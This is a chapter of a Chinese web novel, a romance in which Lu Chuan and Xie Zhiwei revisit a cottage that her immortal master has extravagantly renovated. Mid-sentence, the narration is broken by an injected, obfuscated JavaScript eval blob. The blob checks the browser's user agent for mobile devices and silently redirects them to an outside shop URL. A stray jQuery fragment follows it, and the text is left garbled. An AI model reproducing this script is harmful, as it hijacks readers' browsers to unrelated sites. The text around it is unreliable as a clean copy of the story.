安平镇就在茅草屋所在山的山脚下,马车上不了山,陆川和解知微索性一进镇就下了马车,打算从安平镇出发,一路走上山。
几个月过去,镇上并没有什么变化,他们出发的不算晚,此刻刚到巳时,早集虽然散的差不多,但沿街小摊刚摆上不久。
二人路过桂花糕摊位的时候,那位大婶儿又故技重施,一把将蒸笼的盖子掀开。
正是天寒的时候,蒸汽一下子升腾起来比夏天那会儿要厚重的多,桂花糕的清香也散的更远,解知微不出所料地停下了脚步。
陆川笑道:“六块?”
解知微点点头,看着那白白胖胖刚出笼的桂花糕,心想,应当比昨天客栈里的要好吃。
隔着蒸腾的雾气,大婶儿敏锐地听到了“六块”两个字,连人脸都没看清,先把话给接了,“好嘞,六块!”
雾气还没散去,糕点已经包好递出去。
“天冷,你们尽快吃哈,不然回去吃饭的时候一同放灶上热热也——哎哟!是你们两个啊!”蒸汽消散,大婶儿终于看清了面前的两人,顿时喜笑颜开,“好久不见啊!今天……也没带孩子出来啊?”
解知微、陆川:“……”
说起来他们好像确实当时还有个“孩子”。
不知道是不是因为身后三个暗卫的目光过于灼热的缘故,解知微现在有种如芒在背的感觉,当然她也没有这个勇气回头去确认。
“……嗯。”解知微硬着头皮回答。
“小夫妻感情好,不爱带孩子,”大婶儿摆摆手,一脸很懂的表情,又道:“不过有机会也带出来让婶儿看看嘛,你俩的孩子得长得多讨喜呀!”
“孩子太小了,等大一点再带出来。”陆川从善如流。
解知微感觉后背要被烧出洞来了,但还是强撑着笑容和大婶儿告别。
从安平镇出来,几人往山上去。
幸好茅草屋在半山上,解知微还走得动,若是要她用现在这个身体爬到山顶,她可能半路就要躺地上了。
陆川看着微喘的解知微眉头紧皱,“阿微要苦修到何时呢?”
“啊?”解知微想了一会儿才反应过来,她昨天和陆川说过她现在正在苦修锻体,“哦,这个啊,至少——一年吧!”
“这么久。”陆川嘴唇抿成一条直线。
解知微抬手擦了擦额角的汗,笑道:“当然啦,这个算短的了,一般都要十年呢。”
陆川一时语塞,他不懂仙门修道的东西,不好反驳他们的修行规矩,但又看不下解知微受累的样子,牵过她的手道:“那我们走慢一些。”
二人放慢了脚步,散着步往半山去,影三几人识趣地躲到了暗处。
“这种瞎话君上居然也信!”影四掩在草丛里颇有点恨铁不成钢的意思。
影五叹了口气,“仙长说的话,君上好像都信。”
而且在凡界呆了这几个月,解知微撒谎的技术明显提高了许多,现在已经学会了脸不红心不跳了。
影三:“……”
其实若不是他们几个知道解知微的真实情况,估计也跟陆川一样就这么信了。毕竟他们都是不懂修道的普通人,只要解知微咬死她在苦修,你根本找不到证据反驳她。
好在解知微暂时还没学会胡搅蛮缠和打死不承认这两个技能。
陆川牵着解知微慢悠悠地晃到了半山,隔着老远就看到院子里似乎多了很多东西,门口还竖着一块木牌。
解知微立刻有些担心起来,难道是许久没来,别人以为没人住就占了?毕竟她当初也是这么占的这间屋子。
但靠近院门口看清牌子上写的字后,她彻底放下心来。
“逍遥宗安平镇——分宗?”陆川看着牌子念出声来,“这是?”
解知微摸了摸牌子上的刻痕,神色柔和:“师尊之前说过她可能会过来小住,我以为她只是随口一说。”
院子里多了个砖石砌成的别致鱼池,里面养了两尾银鱼,追逐嬉戏甚是欢快;旁边养鸡的栅栏里终于有了鸡窝——上下两层还有个楼梯;茅草屋外插了把巨大的伞,伞边一圈还有帷幔正好可以将里面的摇椅完全罩住。
陆川心想:楚仙长?哦,那就能对上了。
二人往院子里走,听到动静的两只鸡立刻“咕咕”叫着出来迎接,在看到陆川和解知微后,两鸡都愣住了,那只公鸡甚至还后退了一步。
陆川、解知微:“……”
“看来鸡应当用不着我们来喂了。”解知微指了指放在栅栏角落里的木桶,道:“这个应当是用来喂食的,下面开了个小口,若是吃完了,会有米漏下来,我见师尊曾经试着用它来喂宗里的玄鸟。”
“喂什么?”陆川面色复杂道。
“……就是凤凰。”解知微干笑一声,“好了,我们先进屋吧。”
至于玄鸟生灵,根本不能接受这种被当作牲畜来喂食的方式,因此追着楚泱叨了一整个下午这种事,就不在陆川面前说了,好歹要给师尊留点面子。
陆川对此不知情,他走过鸡舍时瞥了一眼用屁股对着他的两只鸡,只觉得它们真是飞上枝头做凤凰了,竟然和逍遥宗的玄鸟用同样的“食盆”。
推开茅草屋的门后,陆川忍不住退出来确认了一下屋子外面的样子,又折返进去,看着解知微,非常认真地询问道:“楚仙长会苦修吗?”
楚泱第一次来的时候已经将原有的陈设全部换过,床榻、桌椅,都换成了上好木材做工精致的款式,但和现在相比,之前只能算得上“陋室”。
墙面全部重新打磨过,夯土地面铺上了青石板,青石板上又铺了一块几乎覆盖整间屋子的华丽地衣,桌上添置了晶莹剔透的玉质茶具,每张椅子都放了绣满花的软垫,床榻前摆了五扇红木绢丝屏风做隔断,上绣青竹栩栩如生。
陆川甚至有一瞬间觉得自己回到了永寿宫。
“师尊之前修行很刻苦的,经常一闭关就是五年十年,也是阿确来了之后才稍微放松了一些。”解知微也认真回答。
陆川自动把解知微口中的“一些”归类到了弟子对师尊的盲目崇拜中,他嘴角抽搐了两下,道:“那许是物极必反了,呵呵。”
解知微没有听出陆川的言外之意,跟着傻笑了两声,重新扫视了一圈屋内,突然发出了一声疑问,“诶,灶台呢?”
陆川闻言,这才发现原本该是庖厨的地方已然被铲平成为了厅堂的一部分。
“应当是觉得用不到就敲了?”陆川不确定道。
解知微抿着嘴摇摇头,果断退出绕道屋后,然后满意点头,“我就说不可能没有做饭的地方。”
茅草屋后竟开了块菜地,旁边一间新起的小屋,里面灶台,锅碗瓢盆俱全,大小堪比一间卧房。
跟着出来的陆川对此表现出了相当大的困惑,“你不是说加热饭菜是最简单的术法么,为何还要特地重新砌一间屋子来做饭?”
“因为师尊喜欢现做的饭菜。”解知微道。
陆川挑了下眉,“没想到楚仙长还有做饭的爱好。”
“不,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784107|204246||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做饭的是阿确。”解知微面无波澜,“师尊负责品鉴。”
陆川:“……”他早该想到的。
二人从午后绕回前院,三个暗卫不知何时从暗处出来了。
影三面色严肃地蹲在鱼池边看鱼儿嬉戏,影四和影五不知为何在摇椅旁扭打成一团。
看见陆川和解知微从后院出来,三人立即站到院中规规矩矩行礼。
“君上,仙长。”
陆川叹了口气摆摆手,又拉着解知微进屋。
等门关上,影三转身蹲回鱼池边,影四和影五继续扭做一团。
忽然,门又被打开,解知微探出头来对没来得及收手的影四影五道:“那个椅子是特质的,可以躺两个人,很宽敞。”说完立刻把门关上。
影四和影五对视了一眼,放开互相扯着对方的手,理了理衣服,非常和谐地勾肩搭背着掀开巨伞的帷幔,并排躺进了宽敞如床的摇椅里。
屋内
“阿微何必管那两人,毛毛躁躁,不像样。”陆川嘴上嫌弃但并没有真要责怪的意思。
解知微笑道:“他们同我另外两个师弟师妹年龄相仿,看着亲近忍不住就多说了两句。”
“阿微好像有很多师弟师妹,那你有师兄吗?”陆川拉着解知微坐到软榻上,帮她暖手。
解知微摇头,“我是逍遥宗大弟子,并没有师兄,但师祖所在的天玄宗弟子众多,我们来往密切,平时也会以师兄妹相称。”
楚泱居然和自己的师尊不是同一个宗门!
“楚仙长叛出师门了?”陆川小心翼翼询问。
解知微连忙解释道:“没没没,师尊只是单纯不喜欢人多,就自己搬出来建了个新的宗门,并没有和师祖反目。”
陆川恍然点头,又笑道:“楚仙长性格如此洒脱居然能养出阿微这样的弟子,倒是让人意想不到。”
“师尊以前并不这样的。”解知微眉头轻皱,回忆道:“她从不与我们嬉闹,在修炼和术法功课上更是相当严格,若是达不到她的要求,可是要去问泉受罚的。”
“问泉的水虽能涤荡心神,但也确实寒冷,非修行者若是入内,没有灵力护体,半柱香都熬不过去。”
解知微口中的楚泱简直像是另外一个人,陆川忍不住打断她,“你说的楚仙长是楚泱,泱泱云泽,水势浩渺那个楚泱?”那个第一次见面就摸他脸的楚泱?!
陆川惊得下巴都要掉下来,解知微非常肯定地点头,“不过阿确来宗里没多久,师尊就变成现在这样了。”
“呵,真是让这小子赶上好时候了呢。”陆川冷笑一声。
“不过阿确对自己很严格,完全按照师尊以往的标准来,和我们小时候并无区别。”解知微提到师弟师妹们总是满眼温柔和骄傲,“二师弟擅长驭兽,三师妹精于炼药,小师弟是被师祖预测的未来剑圣,大家都非常厉害。”
“我此次回去逍遥宗,总有种他们好像一下子长大了感觉,明明昨日还只是小小的孩子,跟在我身后,‘师姐,师姐’的喊着。”解知微说着又有些怅然起来。
“阿微定是一个好师姐,总是念着他们。”陆川说着抬起解知微的两只手,眉头轻蹙,“但未免太过苛待自己,你的手太冷了。”
“我是不是都把你捂冷了。”解知微立刻要抽回手,却被陆川抓紧。
陆川将她的双手抱住搂进怀里,“不会,这样很快就暖和了。”
不只是心理作用,还是陆川怀里的温度确实更高一些,解知微真的觉得手慢慢暖和起来。